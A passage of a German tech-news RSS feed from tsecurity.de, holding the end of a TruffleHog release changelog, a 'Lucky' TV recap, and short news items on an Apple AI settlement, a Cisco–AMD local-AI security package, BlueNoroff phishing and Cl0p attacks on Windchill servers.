<li>[INS-312] Duo API Secret Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994103061" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4771" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4771/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4771">#4771</a></li>
<li>[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nabeelalam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nabeelalam">@nabeelalam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3925861219" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4739" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4739/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4739">#4739</a></li>
<li>[INS-255] Updated datadog detector to set verificationError in case of a verification error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3812485778" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4661" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4661/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4661">#4661</a></li>
<li>Log analyze errors for Postgres analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890144471" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5131" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5131/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5131">#5131</a></li>
<li>Log analyze errors for HuggingFace analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889921966" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5130" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5130/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5130">#5130</a></li>
<li>Engine - Config.SourceManager doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563649430" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5002" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5002/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5002">#5002</a></li>
<li>Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/renovate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/renovate">@renovate</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642514134" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5034" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5034/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5034">#5034</a></li>
<li>Retry git clone on transient network errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894687674" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5132" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5132/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5132">#5132</a></li>
<li>Fix <code>scan_all_installations</code> Rejecting Org Member Personal Repos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930360573" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5142" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5142/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5142">#5142</a></li>
<li>updated detector to include underscore char by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
<li>[chore] Change job_id in metric to source_type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953017010" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5149" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5149/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5149">#5149</a></li>
<li>Posthog regex update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902316600" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5133" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5133/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5133">#5133</a></li>
<li>fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johannestaas-trufflesec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johannestaas-trufflesec">@johannestaas-trufflesec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954699768" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5151" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5151/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5151">#5151</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.9...v3.96.0"><tt>v3.95.9...v3.96.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Lucky’ Season 1 Episode 3 Recap: Lucky Finally Tracks Down Cary]]></title>
<description><![CDATA[“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal.



“Lucky” is a seven-ep...]]></description>
<link>https://tsecurity.de/de/3692287/ios-mac-os/lucky-season-1-episode-3-recap-lucky-finally-tracks-down-cary/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692287/ios-mac-os/lucky-season-1-episode-3-recap-lucky-finally-tracks-down-cary/</guid>
<pubDate>Fri, 24 Jul 2026 20:27:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal.



“Lucky” is a seven-episode Apple TV limited series based on Marissa Stapley’s novel. The first two episodes arrived on July 15, followed by weekly releases through August 19.




Episode title: Read the Room



Release date: July 22, 2026



Runtime: 45 minutes




Spoiler warning for “Lucky” Episode 3



After the failed multimillion-dollar robbery, Lucky remains separated from Cary, who disappeared with their money. She also continues running from Priscilla’s people and the FBI while relying on the criminal skills taught to her by her father, John.



Episode 3 begins with a flashback showing John completing a deal for Priscilla as Agent Rand watches nearby. Lucky warns John that the situation will end badly. In the present, Rand follows Lucky’s trail through gas-station security footage, although she remains several steps behind her.



Lucky reaches Priscilla’s farm and hides while Dutch questions Noah about fake identification documents. Dutch eventually kills him, allowing Lucky to steal Noah’s identification and search for the person making the fake documents.



Lucky crashes a child’s birthday party



Before continuing her search, Lucky enters a child’s birthday party to obtain clothes, money and transportation. A flashback shows John teaching young Lucky how to steal at such events, including taking cash envelopes and unattended purses.



Lucky leaves the party with a new outfit, enough money to tip a valet and someone else’s car. The scene shows how easily she can enter an unfamiliar environment, gain people’s trust and disappear before anyone notices what happened.



At Noah’s home, Lucky discovers that his neighbour creates fake IDs. While studying her previous work, Lucky finds evidence that Cary used her services and adopted the name Colson Smith.



Lucky finally finds Cary



Lucky manipulates a real-estate agent into giving her access to the property where Cary is staying. While Cary swims nearby, she searches the house and discovers a gun and a laptop protected by a 12-word seed phrase.



Cary returns to find the property destroyed and Lucky waiting inside. Meanwhile, Wayne tells Priscilla that he has also discovered Cary’s location, placing both Cary and Lucky in immediate danger.



Episode 3 ends with the former partners finally reunited, although their missing money and broken trust remain unresolved. What do you think Cary will tell Lucky, and will they work together against Priscilla? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s $250M AI iPhone Settlement Moves Forward. Find Out If You’re Eligible to Collect]]></title>
<description><![CDATA[The company will pay iPhone owners to settle a lawsuit concerning missing and delayed AI features.]]></description>
<link>https://tsecurity.de/de/3692217/it-nachrichten/apples-250m-ai-iphone-settlement-moves-forward-find-out-if-youre-eligible-to-collect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692217/it-nachrichten/apples-250m-ai-iphone-settlement-moves-forward-find-out-if-youre-eligible-to-collect/</guid>
<pubDate>Fri, 24 Jul 2026 19:50:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company will pay iPhone owners to settle a lawsuit concerning missing and delayed AI features.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cybersicherheit USA: 117 Regeln auf 37 Behörden – GAO deckt Chaos auf]]></title>
<description><![CDATA[US-Bericht zeigt chaotische Regulierungslandschaft, Deutschland startet CyberGovSecure-Initiative. Fokus auf KI-Abwehr und Schutz vor staatlichen ...]]></description>
<link>https://tsecurity.de/de/3692132/it-security-nachrichten/cybersicherheit-usa-117-regeln-auf-37-behoerden-gao-deckt-chaos-auf/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692132/it-security-nachrichten/cybersicherheit-usa-117-regeln-auf-37-behoerden-gao-deckt-chaos-auf/</guid>
<pubDate>Fri, 24 Jul 2026 19:04:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[US-Bericht zeigt chaotische Regulierungslandschaft, Deutschland startet CyberGovSecure-Initiative. Fokus auf KI-Abwehr und Schutz vor staatlichen ...]]></content:encoded>
</item>
<item>
<title><![CDATA[The Economics of Agentic AI: Engineering for Imperfection]]></title>
<description><![CDATA[The price of adoption euphoria You played entirely by the book. You procured the most capable enterprise models, mandated adoption across your teams, and put the right metrics in place. The promise was a predictable boost in efficiency. And at first, it delivered. The demos were flawless. The pro...]]></description>
<link>https://tsecurity.de/de/3692115/ai-nachrichten/the-economics-of-agentic-ai-engineering-for-imperfection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692115/ai-nachrichten/the-economics-of-agentic-ai-engineering-for-imperfection/</guid>
<pubDate>Fri, 24 Jul 2026 18:57:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The price of adoption euphoria You played entirely by the book. You procured the most capable enterprise models, mandated adoption across your teams, and put the right metrics in place. The promise was a predictable boost in efficiency. And at first, it delivered. The demos were flawless. The prototypes worked. The agents reasoned with a […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Tabular LLMs: An Introduction to the Foundation Models That Predict Your Spreadsheet]]></title>
<description><![CDATA[Tabular foundation models predict the missing column of any spreadsheet zero-shot, the way an LLM completes text — and on the TabArena benchmark they now sit above fully tuned gradient-boosted trees. An introduction to how they work, an independent reproduction of the strongest open one, and a ma...]]></description>
<link>https://tsecurity.de/de/3692114/ai-nachrichten/tabular-llms-an-introduction-to-the-foundation-models-that-predict-your-spreadsheet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692114/ai-nachrichten/tabular-llms-an-introduction-to-the-foundation-models-that-predict-your-spreadsheet/</guid>
<pubDate>Fri, 24 Jul 2026 18:57:46 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Tabular foundation models predict the missing column of any spreadsheet zero-shot, the way an LLM completes text — and on the TabArena benchmark they now sit above fully tuned gradient-boosted trees. An introduction to how they work, an independent reproduction of the strongest open one, and a map of where XGBoost still wins.</p>
<p>The post <a href="https://towardsdatascience.com/tabular-llms-an-introduction-to-the-foundation-models-that-predict-your-spreadsheet/">Tabular LLMs: An Introduction to the Foundation Models That Predict Your Spreadsheet</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery]]></title>
<description><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware. “BlueNoroff…
R...]]></description>
<link>https://tsecurity.de/de/3692071/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692071/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</guid>
<pubDate>Fri, 24 Jul 2026 18:39:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware. “BlueNoroff…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/">BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BlueNoroff Zoom Phishing Kit Profiles Crypto Wallets Before Malware Delivery]]></title>
<description><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware.

"BlueNoroff h...]]></description>
<link>https://tsecurity.de/de/3692035/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692035/it-security-nachrichten/bluenoroff-zoom-phishing-kit-profiles-crypto-wallets-before-malware-delivery/</guid>
<pubDate>Fri, 24 Jul 2026 18:28:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The North Korean threat actors behind the ClickFix-style campaigns that employ typosquatted Zoom and Microsoft Teams domains have been found to operate an active phishing kit to impersonate the videoconferencing platforms in social engineering campaigns designed to deliver malware.

"BlueNoroff has operationalised trust abuse by combining compromised industry contacts, social engineering, wallet]]></content:encoded>
</item>
<item>
<title><![CDATA[Cl0p Hackers Exploit Windchill Servers to Steal Companies’ Secret Product Designs]]></title>
<description><![CDATA[Cl0p ransomware affiliates are exploiting exposed PTC Windchill and FlexPLM servers to steal engineering and product-design data. The campaign combines software flaws to gain access without credentials, install hidden server-side access, and remove sensitive files before demanding payment. The ac...]]></description>
<link>https://tsecurity.de/de/3692004/it-security-nachrichten/cl0p-hackers-exploit-windchill-servers-to-steal-companies-secret-product-designs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692004/it-security-nachrichten/cl0p-hackers-exploit-windchill-servers-to-steal-companies-secret-product-designs/</guid>
<pubDate>Fri, 24 Jul 2026 18:18:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cl0p ransomware affiliates are exploiting exposed PTC Windchill and FlexPLM servers to steal engineering and product-design data. The campaign combines software flaws to gain access without credentials, install hidden server-side access, and remove sensitive files before demanding payment. The activity…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cl0p-hackers-exploit-windchill-servers-to-steal-companies-secret-product-designs/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cl0p-hackers-exploit-windchill-servers-to-steal-companies-secret-product-designs/">Cl0p Hackers Exploit Windchill Servers to Steal Companies’ Secret Product Designs</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Economics of Agentic AI: Engineering for Imperfection]]></title>
<description><![CDATA[The price of adoption euphoria You played entirely by the book. You procured the most capable enterprise models, mandated adoption across your teams, and put the right metrics in place. The promise was a predictable boost in efficiency. And at first, it delivered. The demos were flawless. The pro...]]></description>
<link>https://tsecurity.de/de/3691991/ai-nachrichten/the-economics-of-agentic-ai-engineering-for-imperfection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691991/ai-nachrichten/the-economics-of-agentic-ai-engineering-for-imperfection/</guid>
<pubDate>Fri, 24 Jul 2026 18:09:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The price of adoption euphoria You played entirely by the book. You procured the most capable enterprise models, mandated adoption across your teams, and put the right metrics in place. The promise was a predictable boost in efficiency. And at first, it delivered. The demos were flawless. The prototypes worked. The agents reasoned with a […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Defense tech giant Anduril eyes new funding at $100B valuation as Seattle expansion draws protests]]></title>
<description><![CDATA[Defense tech giant Anduril is reportedly seeking a new funding round that would value the company at about $100 billion, underscoring its meteoric rise as it rapidly expands its engineering and maritime operations in the Seattle region. Read More]]></description>
<link>https://tsecurity.de/de/3691905/it-nachrichten/defense-tech-giant-anduril-eyes-new-funding-at-100b-valuation-as-seattle-expansion-draws-protests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691905/it-nachrichten/defense-tech-giant-anduril-eyes-new-funding-at-100b-valuation-as-seattle-expansion-draws-protests/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="945" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/anduril-1260x945.jpeg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/anduril-1260x945.jpeg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/anduril-768x576.jpeg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/anduril-1536x1152.jpeg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/anduril-2048x1536.jpeg 2048w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Defense tech giant Anduril is reportedly seeking a new funding round that would value the company at about $100 billion, underscoring its meteoric rise as it rapidly expands its engineering and maritime operations in the Seattle region. <a href="https://www.geekwire.com/2026/defense-tech-giant-anduril-eyes-new-funding-at-100b-valuation-as-seattle-expansion-draws-protests/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rethinking the transport layer for AI-first architecture]]></title>
<description><![CDATA[The need to re-engineer the entire transport layer to support AI-first architecture.]]></description>
<link>https://tsecurity.de/de/3691771/it-nachrichten/rethinking-the-transport-layer-for-ai-first-architecture/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691771/it-nachrichten/rethinking-the-transport-layer-for-ai-first-architecture/</guid>
<pubDate>Fri, 24 Jul 2026 16:20:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The need to re-engineer the entire transport layer to support AI-first architecture.]]></content:encoded>
</item>
<item>
<title><![CDATA[Cl0p Targets Internet-Exposed Windchill Servers in Global Engineering Data-Theft Campaign]]></title>
<description><![CDATA[Cl0p ransomware affiliates are actively exploiting internet-exposed PTC Windchill and FlexPLM deployments in a global data-theft campaign targeting high-value engineering environments. Observed post-exploitation activity includes filesystem enumeration via files such as “flst.txt,” followed by st...]]></description>
<link>https://tsecurity.de/de/3691698/it-security-nachrichten/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691698/it-security-nachrichten/cl0p-targets-internet-exposed-windchill-servers-in-global-engineering-data-theft-campaign/</guid>
<pubDate>Fri, 24 Jul 2026 15:39:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
